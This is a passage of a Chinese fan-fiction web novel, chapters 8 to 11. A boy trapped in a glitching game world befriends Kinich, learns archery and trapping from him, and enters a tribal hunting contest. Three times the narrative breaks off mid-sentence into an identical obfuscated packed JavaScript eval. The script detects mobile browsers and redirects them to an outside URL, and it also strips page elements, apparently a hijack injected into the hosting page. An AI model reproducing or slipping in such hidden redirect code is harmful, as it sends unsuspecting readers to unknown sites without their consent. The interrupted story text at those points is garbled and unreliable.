……所以这其实是个攻略游戏? 救命sos!感觉好奇怪啊!为什么男的要攻略男的! 8. Chapter8 我努力说服自己不要胡思乱想。对,这肯定绝对不是个攻略游戏,只不过恰巧我与基尼奇的关系也是主线的一环。或者说,这是个攻略游戏,但攻略目标是我与基尼奇成为“命中注定的羁绊挚友”,现在我们只达成了第一步! 可是谁家攻略游戏是要跟主角当朋友啊…… 我越想越不对劲,尤其是在这游戏还出故障的情况下。 这破游戏最好不是在搞同性恋! 我气急败坏地看向对面的基尼奇,对面的人回给我一个无辜纯良的表情。 哦,他还是个孩子,就算是攻略恋爱游戏,也应该不是现在。 ……算了,累了,先这样吧。 基尼奇收拾好地上散落的玻璃渣,嘱咐我小心行走之后,就出门朝厨房的方向去了,我猜他应该是帮妈妈打下手去了。 毕竟刚才基尼奇妈妈端着一个碎盘子,便宜爹肯定也去厨房闹过。 我脑子里乱乎乎的。好在没过多久,基尼奇妈妈端上来的色香味俱全的饭菜勾走了我的注意力。 酿鸡,茶熏乳鸽,蔬菜酱面还有颗粒果汤,虽然不是盛宴级别的山珍海味,却意外地很可口。作为一个从小就得学会自己处理一日三餐的人,比起各式各样的外卖快餐和我自己做的简单的饭菜,我承认这顿饭是我吃过的最有家常味道的午餐。 我夹了一块酿鸡,在下口之前乖巧地问道:“阿姨,刚刚我实在太生气了,行为可能太冲动了,您不会怪我吧。” 基尼奇妈妈愣了一下,随即语气温和地说:“我哪里会怪你。” 她叹了口气,接着说:“他爸爸就是这样一个人,每天回来都要闹上一场。我还得感谢你把小奇拉走呢,要不然小奇的伤又要养好一阵子呢。” 她愧疚心疼地看着沉默的基尼奇。 我点点头,开始吃酿鸡。 “……阿姨能叫你小迷吗?”基尼奇妈妈看我吃得开心,笑着问我。 “当然!” 基尼奇看了我一眼,眼神似乎在说我吃个饭也能这么兴奋。 我没理他。 基尼奇妈妈抿唇看着我们的互动,好一会儿才接着说:“小奇平时不爱说话,性格也有点儿倔,但他其实是个很好的孩子。” “基尼奇当然很好啦!” 我提高音量说道,然后点了点头表示赞同,促狭地看着基尼奇的反应。 小孩子还是脸皮薄,在我明显的注视下,基尼奇果然有些害羞,虽然神色看起来还是很冷淡,但是碎发旁的耳垂却逐渐变红,跟小脑袋上纯白色的绷带形成了很大的反差。 还装冷淡酷哥,你也是个小装货。 基尼奇妈妈又感谢了昨天达利也的帮助,看样子基尼奇已经把我的身份告诉她了。她并没有因为我们天壤之别的处境感到拘束,态度一如既往的温和,只是更加真诚,这更让我高兴,说明她认可了我与基尼奇的朋友身份,如果她把我当成恩人,反而会有一层隔阂。 虽然我心里不愿意相信这是个攻略游戏,也不打算就此突兀地与基尼奇发展更深入的关系,但我总要做好是攻略游戏的准备,不如先从获得基尼奇身边人的好感开始,这样如果以后真的有什么攻略任务,也好应对许多。 一顿饭吃得和和气气,我没有更深入地问基尼奇的家庭情况,毕竟是第一次见面,问多了显得我另有所图——虽然我确实有别的想法。 今天成功把系统故障修复进度推动了20%,已经算得上是大进步了。 直到吃完,基尼奇爸爸也没有回来。眼看着已经接近下午,我就主动提出了告别:“时间差不多咯,我也该回去了,感谢阿姨的招待!” 基尼奇妈妈摆摆手,示意我等一会儿,然后站起身来朝里间去了,似乎要拿什么东西。 基尼奇也从座位上站了起来,没什么表情地说:“我一会儿送你。” 呵,你在怀疑我的认路能力吗。 我刚要张口拒绝,他就又补充道:“怕你又跑到野熊的地盘。” ……行吧。我勉为其难同意你的护驾。 等了一会儿,基尼奇妈妈拿着什么东西从里间出来了。她向我招招手,示意我过去。 “小迷很白呢,我这里刚好有一条年轻时参与巡夜者战争得到的奖品,很适合你呢!”她拿出一条很精致而古朴的发带。 我刚要拒绝,她就把我拉了过去,“家里也没有什么好东西可以作为见面礼送给小迷,这条发带虽说不贵重,但总归有好的兆头,希望小迷以后也能成为部落的大英雄呢。” 大英雄?我应该呆不到那个时候,我只想赶快离开,省的在游戏舱里饿死。 “阿姨也参加过归火圣夜巡礼吗?”我好奇地看着她。 “都是些陈年旧事了,”她怀念地说,“当时跟着继承古名的大英雄参加的比赛,托了他的能力,才勉强在里面取得了一个还算不错的好成绩。” 她似乎并不想要透露这个“继承古名的大英雄”是谁,于是我没问。 她轻轻地拂开我额前的头发,然后将发带虚虚地比了比,满意地低声唏嘘到:“真像。” 我愣了一下:“像什么?” “啊,”她敛下神色,温柔地笑道,“我是说,小迷真像一个小英雄。” 我被夸得有点不好意思。 她取下发带,放在我的手心里。 我仔细研究了下,这是一条非常漂亮的发带,整体是朱红色的像素风格,看起来像是一团燃烧的烈火。末尾还缀着两缕灿金色的流苏,光线在上面折射,像是浮着两条灿烂的星河。最重要的是,在这条发带身上,我第一次感受到了这个世界所谓的火元素力。那是一种非常纯粹温暖的力量,在我接触这条发带的一瞬间,便悉数涌入我的四肢五骸之中,这说明我并非不能与这个游戏世界的力量共鸣。 不愧是“归火圣夜巡礼”的奖品,我很喜欢它。 “谢谢阿姨,我很喜欢!阿姨帮我戴上吧!” 基尼奇妈妈看见我的神色,似乎怔神了片刻,随即轻叹了一口气,看向基尼奇:“小奇,你帮小迷戴上吧。” 我有些奇怪她为什么不亲自来给我戴上。 基尼奇接过发带,凑近我的脸。他揽起我的额发,慢慢地将火红色的发带系了上去。 “好了。”他说。 基尼奇妈妈递给我一扇铜镜,我兴奋地端详了一阵,感到很满意。戴上这个之后,我感觉整个人都轻盈了许多,不知道究竟是我的幻觉还是真的如此。 “那我们走吧,阿姨再见!”我戳了戳基尼奇,然后朝他妈妈挥了挥手。 基尼奇带着我出了门。 幸亏有基尼奇,要不然我估计我还得迷路。 没办法,现代人的识路能力是这样的。 他再一次把我送到了大树屋前面,只不过上次我们是陌生人,现在我们成了朋友。 我看着他,“要不要进来吃饭?” 他看了看湛蓝的天空,“不了,我还得去把那头熊弄回家,要不然那个男人会生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982070|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦,”我想了想,“那你有什么困难记得跟我说,我们是朋友。” 我又强调了一遍这个词。 “好。”他转身要走。 我喊住了他,“基尼奇,明天你会在哪?” 他顿了顿,然后说:“大概会在部落里接委托做交易。” 这样啊,我还没想好明天干什么,等我稍微梳理一下信息再说。 于是我朝他挥手道别,转身进了屋。 没想到一进门就遇到了晦气人。 “伊迷少爷,”阿雅克斜靠在树柱上,目光阴沉沉地看向我,“发带不错。” 完了,这货估计还记着我上回掐他的账,他是小学生吗。 我矜持地点了点头,径直走过他。 他突然上前一步,拦住了我。 我后退一步,惊疑不定地想:我去,他不会打算在公共场合报复我吧,他应该不会这么傻吧。 他看见我退后,似乎有些愉悦,“不用害怕。” 我能不害怕吗,你这样子看起来好像个变态。我腹诽道。我抬眸,理直气壮地说:“谁让你之前恐吓我的,我掐你是自作自受。” 他短促地笑了一声,然后说:“我可不在乎这个。我是来通知少爷,再过一个月是族里例行的游猎会,五岁以上的族人都要参加,还有小孩子们的比赛,伊迷少爷可不要再倒数了哦。” 他想了想,忽然恶趣味地说:“或者,少爷求求我,我可以教你怎么射箭。” 简直是个中二鬼畜装b哥。 “游猎会?我一定要参加吗?”我反问道。 “除了第一届,伊迷少爷已经逃了连续几届了,今年老爷特地嘱咐我将少爷带过去,向族人展示继承人的风范呢。”他嗤笑,最后几个字说得格外用力。 我有点无语,我本来也没想跟一个NPC争继承人。 “哦,那第一名有什么奖品吗?”我问鬼畜哥。 阿雅克明显地怔了片刻,随即捂着脸大笑。 我面无表情地看着他。 他笑够了才停下来。“第一名可以得到归火圣夜巡礼的奖品哦,”他压着笑意说,“只是,不知道少爷有没有这个本事了。” 我得到信息,懒得与他周旋,径直回了房间。 刚才得到的发带已经向我证明了“归火圣夜巡礼”奖品的含金量。既然这个所谓的游猎比赛无法避开,不如就去参加,顺便看看能不能得到奖品。 虽然我对这幅躯体的体质能力没有信心,但不试试怎么知道一定会输呢? 决定了要去参加那个什么游猎会,接下来的目标便很明确了。 我握了握自己绵软无力的双手。 之前被野熊袭击时的毫无还手之力,现在身边的鬼畜私生子侍从和冷漠爸妈,还没有成长起来的正在经历家暴的主角,未知的主线,还有疑似可以掌握的纳塔力量,这些都在催促着我去寻找更多可以利用的资源。 所以这次的游猎会,那个“归火圣夜巡礼”的奖品我最好能拿到。 我需要有人教我射箭和捕猎。 可是我要找谁呢?来到这个游戏之后,我还不认识什么人,唯一算的上熟的人还是……基尼奇? 基尼奇会射箭吗? 我脑子里突然冒出了这个念头。我想起了之前基尼奇对付野熊时那双专注锐利的眼眸。 他大概是会的吧,毕竟每天都要自己出去打猎食物来供养整个家庭。 我打算明天去问问他。 9. Chapter9 “想学射箭?”基尼奇放下手上的信袋子,静静地看着我。 “对啊。” 我从后面拿出一个大背包,把露出一大截的弓费劲地提了出来,然后把一堆乱七八糟的用具倒出来。 基尼奇把那把弓提了起来,掂量了一下,说:“怎么突然想学射箭?以前我并没有看见你在部落里练箭。” 坏了,人设转换太突兀了吗。果然我以前躺得很平,以至于连不知道我名字的基尼奇都知道。 “啊,”我短暂地顿了一下,“因为我父亲要求我参加下个月族里的游猎会,并且说不能让他丢脸。” 事实上是因为我想要游猎会的奖品。我没有说这个理由,以免跟我进入游戏以前的躺平性格相冲突。 基尼奇没有对我的理由提出异议。 他试着拉了拉弓,然后看着我,说:“这个弓不太合适,换一个。” “怎么可能?”我反驳道,“这是达利也找来的适合我的弓,问了部落里的工匠的。” 基尼奇难得卡了一会儿壳:“……只是适合一般的小孩。” “……?”我露出疑惑的表情。 “我之前说你太虚弱了,并非空穴来风。”基尼奇放下弓,翻了翻地上散落的装备。 呃。从我的身体素质来看,好像确实是这一回事。 半晌,基尼奇话锋一转:“我可以教你,但是我也不是专业的。部落里也有许多可以教你的人。” “那你就教我吧,”我满不在乎地说,“一个月时间太短了,来不及再去找适合我的老师了。而且我们两个年龄相仿,有什么问题都能很快知道。” “最重要的是,我只跟你熟嘛。”我狡黠地笑。 他想了想,说:“那好。” “我先把这份委托做完,”基尼奇拿起地上的信袋子,“下午的时候到我家附近等我。” 我正要向他道谢,他又补充了一句:“记得别迷路。” ……好的。我尽量。 * 没事干的时候,时间过得很快,我刚看了点之前买的杂书,一上午就没了。 吃过午饭,我估摸着时间差不多了,就兴冲冲地出发。 还好中途没迷路。 我到的时候,基尼奇正在他家附近的一个小树林里。他弯腰摆弄着什么东西,面前还生着一堆火。 我突然玩性大发,悄悄地走到他身后,然后低沉着嗓音喊了一句:“基尼奇。” 他头都没回,仍然在做着手头的事情。 “你来了。” 啧,好无趣的基尼奇。我腹诽道。 我绕到他面前,蹲下来想看看他在做什么:“你怎么知道是我?” “除了你,没人会离我这么近。” 他面前有序地摆了一些东西,有长相奇怪的木条,还有许多树叶和缠起来的藤条。 一把堆起来的枯叶燃烧着,火焰给他的侧脸镀上一些微光。此刻,他正在把一根长长的木条放在火上炙烤,木头光滑的表面已经烤出了一层隐隐的光泽。 我好奇地问他:“你在做什么?” 他看了我一眼,说道:“给你做一把适合的弓。” 我有点惊讶,基尼奇居然还能徒手做弓。 他不同于我以前在现实世界里见到的人。这样的家庭背景不仅没有压垮他,反而让他成长的更快、收获的更多。 “好厉害!”我坐下来,握了握他搁在旁边空余的手,“感谢你!” “需要我帮忙吗?” “不用,”基尼奇默了一下,“……你把手松开,要不然没办法继续了。” 哦。我听话地放开了手。 基尼奇把木条抽出来,然后站起来,把其中的一端放在地上,用力将它弯曲成弓的形状,随即迅速地把那条藤条拉了上去,固定在两端。 半晌,他示意我来试试。 我兴冲冲地跳起来,从他手中拿过那把弓,然后摆出我在其他游戏里见过的射箭姿势,准备拉开弓弦。 ……似乎有点拉不动。 我有些吃力。 基尼奇绕到我身后,他冷淡而认真的声音从我的耳侧传来。 “你站的太僵硬了——双脚分开些。” “挺胸,对。别紧张。” “你这个姿势似乎不太对,跟谁学的,”他伸出手,调整了一下我的握弓姿势,然后拍了拍我的手,“握弓别太用力。” 他又看了一会儿,觉得没问题了,才从不知道哪个地方拿出来一支箭递给我:“试试。” 我接过箭。 “放松,”他握着我的左手,把箭搭在弓上,“注意箭的位置。” 我看了一眼,箭身应该是与弓弦垂直的。 “下一步可能有些费力,”基尼奇说,他的手引导着我勾住弓弦,“拉弓。” 我照他说的方法开始用力,左手勒得很疼,还是没有拉开。 他借给我了点他的力气。 弓拉开了,我瞄准了一枚长在地上的颗粒果。 “不用太快,呼吸放松。” “三——” “二——” “一——” “发射。” 话音刚落,箭离弦而出,只不过似乎歪了一点,只射中了颗粒果的边缘叶子。 我已经满头大汗了。这个结果倒是没意外,毕竟我刚接触弓箭。 基尼奇让我坐下休息一会儿,然后自己拿起那把弓,握弓,搭箭,瞄准,发射,一套动作行云流水。 我看了过去,他的箭深深地没入了颗粒果的中央。 人比人气死人,我扭开眼,不再看他。 基尼奇似乎注意到了我的神色,他放下弓箭,说:“不必心急,你并不像我一样每天都要靠这个吃饭,初学难是正常的。” 树林里并不是特别明亮,那团火反而显得分外炽热。 “而且,游猎会并不用只靠射箭。” 诶?打猎不靠射箭,还能用什么?我看向他。 你们这里不会还有枪吧!我的思路逐渐偏移。 基尼奇看懂了我惊讶的表情,但他会错了意:“……能够运用元素力的不在我们的考虑范围之内。” 哦,忘了还有这回事。 “我说的是,除了用箭,还可以搭配一些别的东西。” 火光下,基尼奇的眼睛显得分外有神。 “七成调查,一成判断,剩下的精力用于出击。用这种方式去捕猎,会收获很多。” “你是说……”我似有所悟,想起了那天他对付野熊的方法。 他看着我似懂非懂的样子,似乎弯了下嘴角,“可以设置陷阱。” 我明白了。 “但是猎物不一定会进陷阱啊,难道不是很浪费时间。”我皱眉道。 基尼奇动手熄灭了火焰,说:“你说得对,有些努力确实是浪费,但有时候,浪费也是必要的。” 林子里一下子暗了下来,只有那双苍绿色的眼睛显得很明亮,“付出的东西越多,最后收获的就会比之前更多。” 哦,小哲学哥。 我休息好了,也站了起来,“那接下来你是要教我布置陷阱吗?” 基尼奇看了我一眼,“不是,接下来带你去锻炼体力。” “射箭也是有用的,虽然你射的不准,但刚好是这一点,可以帮助你将猎物赶进陷阱。” “所以,为了练好射箭,你跟着我一起去做委托。” 白高兴一场,我还以为不用练射箭了呢。我揉了揉手腕,跟着基尼奇走出了林子。 * “呃,你平常就干这个吗?”我看了看眼前的一大袋子颗粒果。 基尼奇跟委托人说了几句话,然后转身向我点了点头,不费什么力气地就背起其中两袋。 还剩下一袋。 我站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982071|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里看着他。 他也看着我。 我败下阵来,认命地弯腰,提起那一大袋颗粒果背在肩上。 为了出游戏,拼了! 我们开始出发向目的地,据说是什么叫做七天神像的地方。 刚开始的几段路走的还很轻松,后面就越来越累,我的腰也弯的越来越低。 “喂,基,基尼奇——我走不动了。”我愁眉苦脸地冲着前面腰挺得笔直的基尼奇说。 他没理我。 “小奇,”我继续说,“奇哥——” 他终于停下脚步,转过身,我差点一头撞到他怀里。 他轻轻地叹了口气,固定好他身上的两大袋颗粒果,然后伸出手把我肩上的大袋子接过去。 “你这样什么时候才能自己拉得动弓。”他问我。 我摸了摸鼻子,冲他笑:“你不应该跟我说慢慢来吗,基尼奇老师。” 他转身继续向前走。我自知理亏,跑过去用双手帮他撑了一下两侧的袋子。 没有我的拖累,我们俩很快就到了目的地,把三大袋颗粒果交给了委托人。 委托人确认商品没事后,把几个摩拉硬币给了基尼奇。 我睁大眼睛,“这么少!” 委托人听到之后,尴尬地顿了一下,然后若无其事地走了。 果然商人都是资本家!我为我们付出的力气感到不值。虽然大多都是基尼奇付出的。 基尼奇把其中的一半分给了我,“你的报酬。” 呃。我有点不好意思。 我正打算推脱,基尼奇却很坚决地拉过我的手,把摩拉放在了上面。 我没话说了,眼神只好四处乱瞟。这一片也是在两处峡谷之间,只不过是在末尾,再往前走一点大概就到了相对平整的地区。 见我好奇,基尼奇问道:“你没来过这里吗?” 差点又崩了悬木人的人设。我只好装傻,“可能来过吧,但是我忘了。” “这里是悬木人部落的外围,某种意义上也算一个陆上港口。每天会有很多商人和外面的人经过这里。如果你一个人到这里的话,不要踏出那个界限。” 他指了指一颗白色的粗壮树木。 我眯着眼看了一阵子,看见了一块木牌标识。太好了,终于看见了一个我认识的,我得赶紧补一句证明我是悬木人。 “哦,那个我认识,那是悬木人的图腾吧!” 基尼奇点点头。 我又环视了一圈。一个石头做的雕像映入眼帘。 那是一个非常壮观的女性雕像。一根浮柱拔地而起,中间是一层海蓝色的宝石,上面雕着一个王座,王座之上端坐之一个披着斗篷的长发女人,她手里还悬着一颗元素力球。 汹涌澎湃的元素向四面八方扩散,置身于其中的人不禁斗志昂扬。 我无意间看到了雕像的眼睛,一瞬间怔了神。 我忽然感到复杂的情绪在我胸腔中炸开,有酸涩,有愤慨,有怀念。朦胧中,我听到一声浩瀚而亘远的苍老叹息。 “……唉。” 这声叹息如同一条毒蛇在我的肩颈上缠绕,几乎让我喘不过气。我无意识地流下了一滴眼泪。 冰凉的触感淌过脸颊时,我才突然惊醒。 我从纷繁的情绪中脱离,自言自语道:“什么情况?主线还是支线吗?没有系统提示啊。” 再抬头时,我看见基尼奇正静静地看着我。 我顿住了。 基尼奇走近。 “你怎么了?” 他听到了。完蛋了。 我勉强地挤出一个笑:“……没什么,刚才想到了一些看过的荒诞话本。” “是吗?”基尼奇抿了抿唇,似乎有些失落,但他很快恢复正常。 还好他没问我,差点就露馅了。 基尼奇转身向部落走去,“走吧,我送你回去,明天继续练箭。” 10. Chapter10 就在刚刚,我跟火神神像产生了共鸣,并不小心把游戏的事情说漏了嘴。 最重要的是,我那句说漏嘴的话被这个游戏世界的重要主角基尼奇!听!到!了! 好崩溃。 我不知道这会不会给我带来麻烦。 以前就听说过这样的事情,有人因为把游戏世界的事实告诉NPC,导致NPC觉醒,最后这个玩家被NPC想办法困在了游戏世界里,脑意识无法再回归现实。 那个好像也是个攻略游戏。 我打了个寒颤。 不对不对,我这个不是攻略游戏,绝对不是。 我买的绝对不是南通游戏! ……基尼奇应该没听懂我说了什么吧。毕竟我只说了“主线支线”和“系统”,如果不是现代人,很难想象出这些名词的意思。 我试探性地瞅了瞅基尼奇的脸色。 冷淡,面无表情。 ……好像挺正常的,他就是个小酷哥。 我斟酌着开口:“小奇。” 没反应。 “——奇哥,基尼奇老师。” 旁边的人看了我一眼。 我硬着头皮说:“刚才的事情能不告诉别人吗?我怕我爹知道我看了那么多乱七八糟的话本。” 基尼奇没说话。 我有点尴尬,接着说:“呃,你看,如果你告诉别人我对着神像,呃,发癔症,别人也会觉得我——” 基尼奇站住脚步,奇怪地看着我:“你为什么会觉得我会把你的事情告诉别人。” 啊。 “我们是朋友,不是吗?”基尼奇意有所指地说。 我总感觉他话里有话。 得到这句保证后,我不由自主地松了口气。 毕竟是游戏主角,说话算话的品质应该还是有的。况且,基尼奇并没有问我的话是什么意思,说明他没有在意我说话的内容。 我朝他露出一个毫无阴霾的笑:“当然。朋友之间就该这样。” 基尼奇瞥了我一眼,没有接我的话。 * 我回到家之后,才有闲暇梳理刚才的神像共鸣。 没想到我刚开始想这件事情,脑海里就传出了一道声音。 【检测到故障……正在修复中……72%……修复失败】 ……修复进度前进了1%? 所以说火神神像的共鸣也与主线有关? 不知道为什么,我推理出这个消息时,脑子里第一个冒出来的想法竟然是“太好了,这真的不是个攻略游戏,我不会被基尼奇强制留在游戏世界了”。 呃,我在想什么。 我摇摇头,把这些莫名其妙的想法从脑子里排斥出去,然后开始认真梳理主线。 已知主线与基尼奇有关,又已知主线与火神神像有关。而且,据我共鸣的情况来看,似乎第二条线索还涉及到很多不同的感情。那么,结合之前得到的纳塔背景来看的话…… 我翻开那本《部落奇谈》,直接翻到书的后半部分。 那里写着几句话。 “纳塔千百年来一直遭受着深渊的侵袭。纳塔对抗深渊的方法主要是靠圣火来压制。而每隔五百年,这把火都会面临熄灭的危险,这时候就需要有新的英雄力挽狂澜。” 基尼奇与火神神像的共鸣,这两者会有什么关系呢? ……难道我的主线任务是帮助基尼奇成为部落的英雄来击退深渊? 但是我似乎也不能给基尼奇什么帮助啊。 我挠挠头。 我应该是猜错了,要不然系统应该会给我提示。 算了,反正现在已经有了两个重要线索,总有一天能串起来的。 * 接下来的日子,目标非常明确。 鉴于又出现了新的线索,我倒是没有像第一回让基尼奇帮我背颗粒果一样每天偷懒。 在基尼奇小老师的规划之下,我每天和他一起背颗粒果和来回送信,闲暇时间便和基尼奇一起练箭。 如果我本来就是游戏世界的人的话,这样的生活无疑非常充实美好。 可惜我不是。 我看着基尼奇拉开弓弦,手臂上独属于少年的流畅肌肉线条绷起,随即又放松。 “咻——” 缀着鲜艳鸟羽的箭头射中了一只野雉。 基尼奇收回弓,不紧不慢地走向还在挣扎的野雉,把它提了起来。 林子里的阳光映着飞舞的光尘,他苍绿色的眼睛看着我,如同一汪静谧的湖水。 “今晚要不要去我家吃饭?” 我微微晃了下神,笑道:“我倒是想。” “你爹今晚不在吗?” 基尼奇走过来,开始收拾帮我练习射箭的工具:“他被部落拉去执行任务了。” 悬木人还有这种习俗吗? 我好奇道:“什么任务?” “归火圣夜巡礼要开始了,”基尼奇背好弓箭,“凡是不参加的人,火神大人都要求他们去布置比赛场地。” “哦,原来是这个啊。”我装作了解的样子。 对于我时不时显露出的对于部落不了解的一面,基尼奇已经习以为常了。上次在火神神像前发生的事情,我们俩都默契地没有再提起。 “新火神非常强大,性格强势,如果不参加任何部落里的贡献行动,将被视为轻视英雄们对抗深渊的心血,”基尼奇接着说,“所以即使是赌徒和酒鬼,也必须参加归火圣夜巡礼的准备工作。” 这样啊。 基尼奇已经走到前面了,他回头看我,“去不去?” “去,去。”我连忙跑上去,笑着揽住他的肩。 我这才发现基尼奇比我高的不止一点半点。 我不服气道:“你怎么长这么高?明明跟我差不多大。” “……同龄人都这么高。之前说你虚弱,并非……” 我打断他,拖长了声音:“知道啦知道啦!并非空穴来风!” 不会安慰人可以不安慰。 我们一路拉拉扯扯地走到了基尼奇的家。 “阿姨好!”我率先进门,探出头冲里面喊。 诶?怎么没有人? 基尼奇也进来了。他掀开眼看了我一眼,似乎有些无语。 “……不是说了归火圣夜巡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982072|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼要开始了吗?” 啊? 哦。原来女人也要去参与归火圣夜巡礼的贡献行动啊。 “我忘了,不好意思,”我摸了摸鼻子,“那我们今晚怎么吃饭?” 基尼奇把弓箭背包放下,提着手里的野雉就向门外走去:“我来做饭。” 小奇老师还会做饭?真是个全能小朋友。 我颠颠地跟在他后面,一边对他赞不绝口,一边好奇:“让我来观摩学习下基尼奇大厨的做饭过程!” “你不需要自己做饭吧。”基尼奇神色不改。 我腹诽道:不,虽然我有爸妈,但其实我是孤儿。现实世界里,我也是要自己做饭的。 这话我并没有说出来。 我们绕过篱笆。基尼奇采了几颗我不认识的野菜,到河边洗了洗,又拿着芭蕉叶做的小盆子盛了点水。我颇为懂事地接过他手中的野雉。 我们一起到了厨房。 说是厨房,不如说是一个小帐篷,似乎是拿了一个渔网和一片帆布围成的。正上方开了一个口,应该是出烟的。里面空间不大,但东西很全。 我看着基尼奇熟练地处理好野雉,又拿了一个很奇怪的东西把火点燃。 “这是燃素火把,用来生火。”基尼奇面不斜视的解释道。 “嗯嗯,我知道,不用给我解释。” 总感觉自从上回在火神神像前面说漏嘴了之后,基尼奇给我解释东西的频次变多了。 是我的错觉吗?还是基尼奇当老师当上瘾了? 我并没有紧张,反正这个小孩肯定没猜到这是个游戏世界。 基尼奇开始井井有条的切菜、炒菜。 我在旁边看得咂舌。 野雉炒蘑菇,爆炒野菜,炖野鸡汤……这些菜品太复杂了,对于我来说,我一般会做的就是西红柿炒鸡蛋,这道菜从小吃到大,简直是我的噩梦。而基尼奇做这些却很轻松。 我思路稍微歪了一下。其实如果我是女生的话,这是个攻略游戏,也未尝不可接受。 呃呃。我打了自己一掌。 基尼奇抽空瞥了我一眼,“你做什么?” 我呆呆地说:“基尼奇好厉害。” 基尼奇似乎笑了一下,“你到家里等着吧,这里烟大,很熏。” 我回过神来,点了点头。 我刚在餐桌坐下没一会儿,基尼奇的饭菜就做好了。 “那我不客气了!”我冲基尼奇笑。 基尼奇给我夹了一块肉,语气没什么起伏地说:“明天就要进行游猎会了,紧张吗?” “有什么可以紧张的,”我嚼着肉,含糊不清地说,“有基尼奇老师教我,还有什么小屁孩能比得过我。” “记得我教你的方法。”基尼奇嘱咐道。 “陷阱吗?当然,”我点点头,“要不然单靠我的箭艺,一个猎物都抓不到。” 基尼奇没说话了。 我拍了拍基尼奇的肩膀,“基尼奇老师放心,赢了之后,我一定带着奖品来找您!” 基尼奇很配合:“静待佳音。” 小文艺哥。 我向他抱了下拳。 11. Chapter11 今天就是游猎会的日子。 这几天鬼畜哥阿雅克倒是没有再烦我,他看起来也很忙,似乎是忙着在族人面前树立一个能干的形象。 我给自己系好发带,拿上基尼奇给我准备的小弓和布置陷阱的工具,朝达利也笑了笑。 达利也看了看我,似乎很感动:“少爷这些天实在是太用功了!” 这话说得对,毕竟每天都和基尼奇待在一块儿射箭和搬颗粒果。 他眼圈红红的,绕到我身后,又帮我理了理发带:“少爷真帅——我相信今天少爷一定能取得好成绩,惊艳所有人!” 有点尬,总感觉他有点像老妈子。不过我倒也不反感。 啊,好热血,感觉自己在现实生活中很久没有体会到这种感觉了。 我走出房间,跟着前来指引的侍从向游猎会目的地出发。 今天天气很好。 阳光不燥,不知何处吹来的风拂过荒芜的山脉,荡开盎茂的原野,直抵蔚蓝色的遥远天穹。 我心情很好。 跟着侍从一路沿着悬崖小道往下,绕了很多圈,才最终抵达了一个开阔的大平原。 我的便宜爹正站在进口处的高台之上,见我过来,微微颔首,而后移开目光。 呃。从道貌岸然这一点来看,他和阿雅克很像。 我识趣地没去打扰他,只是站在原地理了理我的狩衣和装备。 高台上还坐着其他衣着华贵的或长或少的族人,都是一派的端庄肃穆。 其实有时候总觉得我这一族跟悬木人部落的整体氛围格格不入。根据之前的杂书来看,悬木人部落的人应该热情进取,追求自由平等,就像我之前遇到的那个卖颗粒果的少年一样。而我这一族的族人却封闭保守,内部等级似乎还很严苛。 最重要的是,按照基尼奇的说法,新火神如此强大强势,她要求所有成年男性女性去参与归火圣夜巡礼的准备工作,我的部族应该也不能自免于外才对。 而现在,便宜爹居然还能举行这么盛大的游猎会。 好奇怪,就像是游戏设定冲突了一样。 想不出个所以然。我按下心里的疑问,开始专注观察这片游猎狩场。 高台之下,目之所及,围绕大平原的地方都已经用栅栏围起来了。栅栏之内,各个角落几乎都站着严阵以待的侍从。再往里,是和我穿着狩衣的差不多大的少年,有的脸上愁眉苦展,有的踌躇满志,还有的满不在乎。 大平原里面并非一马平川。换句话说,叫它大平原,并不是因为它真的是平原,只是因为里面没有悬崖峭壁而已。由于身高不够,我只能看见远处起伏的森林。 有森林刚好,我想。 刚好用来布置陷阱。 便宜爹讲了一通废话后,比赛便正式开始。雄浑的号角吹响,我率先朝森林的方向走去。 * 虽然我高中学习摆烂,但是最基础的常识还是知道的。 “森林生态系统被认为是最复杂的生态系统,物种多样性丰富、营养结构复杂、空间结构分层明显、生态过程复杂,是众多生物的理想栖息之地。” 每天在学校课上摆烂,所幸我的破烂生物还能派上点用场。 所以还是先开始挖坑——不是,布置陷阱吧。 我脑中又浮现出基尼奇教导我时的场景,尤其是说话时,那双苍绿色的眼眸中散发出的专注神色。 “很多努力是浪费,但浪费是必要的,要想布置一个好的陷阱,你需要花费大量时间,去观察,去思考,去完善。” “不要心急,注意猎物留下的所有痕迹,它们会告诉你所有你需要的信息。” 按照基尼奇的教导,我往森林深处走了一段距离,环绕观察了一圈。 这片森林并不安静。 我站在原地,能听到各种各样的声音。风吹过树叶的沙沙声,叽叽喳喳的鸟鸣声,还有不时响起的草丛摇摆的簌簌声……对于猎人来说,这些都是猎物丰盛的兆头。 我走到一个相对狭窄的岔路口,开始布置陷阱。 